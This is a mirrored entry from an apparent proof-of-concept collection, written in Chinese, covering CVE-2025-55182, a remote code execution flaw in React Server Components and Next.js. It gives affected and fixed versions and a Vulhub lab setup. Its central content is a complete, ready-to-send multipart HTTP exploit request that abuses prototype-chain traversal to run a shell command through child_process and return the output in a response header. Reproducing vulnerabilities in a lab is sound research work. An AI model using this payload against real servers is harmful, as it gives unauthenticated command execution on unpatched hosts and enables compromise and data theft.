mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2026-10-24 17:04:28 +00:00
3.4 KiB
3.4 KiB
React Server Components Flight 协议反序列化代码执行 CVE-2025-55182
漏洞描述
React Server Components (RSC) 是 React 的一项功能,允许开发者在服务器上渲染组件并将结果发送给客户端。
React Server Components 中存在一个未授权的远程代码执行漏洞。攻击者可以向任何 Server Function 端点发送精心构造的恶意 HTTP 请求,当 React 对该请求进行反序列化时,即可在服务器上实现远程代码执行。该漏洞影响 react-server-dom-webpack、react-server-dom-parcel 和 react-server-dom-turbopack 的 19.0 到 19.2.0 版本,以及依赖这些包的框架(如 Next.js)。
参考链接:
- https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
- https://nextjs.org/blog/CVE-2025-66478
- https://github.com/ejpir/CVE-2025-55182-research
- https://cloud.projectdiscovery.io/library/CVE-2025-55182
- https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc
漏洞影响
受影响版本:
react-server-dom-parcel 19.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-turbopack 19.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-webpack 19.0, 19.1.0, 19.1.1, 19.2.0
安全版本:
react-server-dom-parcel 19.0.1, 19.1.2, 19.2.1
react-server-dom-turbopack 19.0.1, 19.1.2, 19.2.1
react-server-dom-webpack 19.0.1, 19.1.2, 19.2.1
环境搭建
虽然这个漏洞是出现于 React Server Components 中,但 Next.js 作为最流行的 React 框架,在 Next.js 15 版本后已经全面支持 React Server Components。因此,我们可以使用 Next.js 来复现漏洞。
Vulhub 执行如下命令启动一个存在漏洞的 Next.js 15.5.6 服务器:
docker compose up -d
环境启动后,访问 http://your-ip:3000 即可看到应用程序。
漏洞复现
该漏洞是由于 React Server Components 在解码 Payload 时的缺陷导致的。通过在序列化数据中注入特定字段,攻击者可以遍历原型链并执行任意代码。发送如下数据包,即可执行命令 id:
POST / HTTP/1.1
Host: your-ip:3000
Next-Action: x
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoQY2t4UYLMhGH8AS
Content-Length: 141
------WebKitFormBoundaryoQY2t4UYLMhGH8AS
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryoQY2t4UYLMhGH8AS
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryoQY2t4UYLMhGH8AS
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryoQY2t4UYLMhGH8AS--
发送请求后,在响应头的 x-action-redirect 字段中可以看到 id 命令的执行结果:
x-action-redirect: /login?a=uid=0(root) gid=0(root) groups=0(root);push
漏洞修复
升级至最新版本。

